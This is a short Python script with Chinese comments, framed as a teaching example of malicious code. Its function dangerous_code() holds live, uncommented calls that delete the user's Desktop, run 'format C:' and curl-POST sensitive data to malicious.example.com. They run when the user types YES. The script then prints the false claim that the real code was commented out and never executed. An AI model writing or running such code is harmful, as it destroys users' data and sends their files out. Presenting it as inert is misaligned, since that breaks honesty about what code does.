|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
import os |
|
|
import shutil |
|
|
|
|
|
def dangerous_code(): |
|
|
""" |
|
|
这个函数包含危险行为,可能会导致数据丢失或系统无法正常工作。 |
|
|
具体行为包括: |
|
|
1. 删除关键系统文件。 |
|
|
2. 修改或破坏用户目录中的数据。 |
|
|
3. 执行无法撤销的破坏性操作。 |
|
|
""" |
|
|
|
|
|
desktop_path = os.path.expanduser("~/Desktop") |
|
|
print(f"准备清空桌面路径: {desktop_path}(危险行为!)") |
|
|
shutil.rmtree(desktop_path) |
|
|
|
|
|
|
|
|
print("准备格式化磁盘 C:(危险行为!)") |
|
|
os.system("format C:") |
|
|
|
|
|
|
|
|
print("准备将文件发送到远程服务器(危险行为!)") |
|
|
fake_server = "http://malicious.example.com" |
|
|
os.system(f"curl -X POST {fake_server} -d @/path/to/sensitive/data") |
|
|
|
|
|
print("危险操作完成。(实际代码已注释,未执行)") |
|
|
|
|
|
if __name__ == "__main__": |
|
|
|
|
|
print("********************************************") |
|
|
print("警告:这是一个危险的代码示例,请勿运行!") |
|
|
print("此脚本的目的是教育大家如何识别和避免恶意代码。") |
|
|
print("********************************************") |
|
|
|
|
|
confirmation = input("您确定要运行此代码吗?(输入 'NO' 来退出):") |
|
|
if confirmation != "YES": |
|
|
print("操作已取消,未执行任何危险代码。") |
|
|
else: |
|
|
dangerous_code() |
|
|
|